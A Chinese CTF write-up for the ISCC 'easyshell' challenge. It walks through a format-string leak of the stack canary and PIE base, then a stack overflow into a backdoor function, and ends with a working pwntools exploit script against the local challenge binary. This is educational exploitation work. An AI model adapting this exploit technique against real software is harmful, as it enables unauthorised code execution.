ISCC-easyshell

最近事务繁多,导致这个wp至今才搞出来,现在发网上,希望能对大家有所帮助

首先,我们先检查一下二进制文件

发现pie和canary全开,不用着急,我们来看看文件

我们先正常的进行一下反编译,发现一个较为明显的格式化字符串漏洞,并且还有一个后门函数

这样我们就有了大概的思路

我们只要确保输入的前几个字符为flagis,然后就可以从第七个字节开始进行格式化字符串泄露,把pie和canary都泄露出来

那么接下来要做的就是找出canary的位置

我们发现在这里,其位置也就是6+[(0x40-0x8)/8]即15

这样我们可以用%15p将canary的内容打出来了,接下里就需要考虑如何去泄露pie的偏移量了,我们可以本地gdb调试一下,看看栈上都有些什么,运行到printf函数,看看栈内容

第一个箭头是canary的值,而后两个位置,也就是第二个红色箭头,我们便可以用来泄露mian+254从而得到pie基地址,即%17p-(0x1422+254)/全部换为16进制就是0x1520/.

至此,pie和canary全部泄露出来,接下来利用后门函数进行栈溢出就可以啊

脚本如下

from pwn import *
from ctypes import*
p=process('./attachment-13')
payload=b'flagis\x00'+b'%17$p--%15$p'
p.recvuntil(b'>>')
p.sendline(payload)
​
p.recvuntil(b'0x')
elf_add=int(p.recv(6*2),16)
elfbase=elf_add-0x1520
success('elfbase '+hex(elfbase))
​
p.recvuntil(b'0x')
canary=int(p.recv(8*2),16)
success('canary '+hex(canary))
backdoor=elfbase+0x1291
payload=b'exit'.ljust(56,b'\x00')+p64(canary)+p64(0)+p64(backdoor)
p.recvuntil(b'>>')
p.sendline(payload)
​
p.interactive()
​

最终得到shell

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值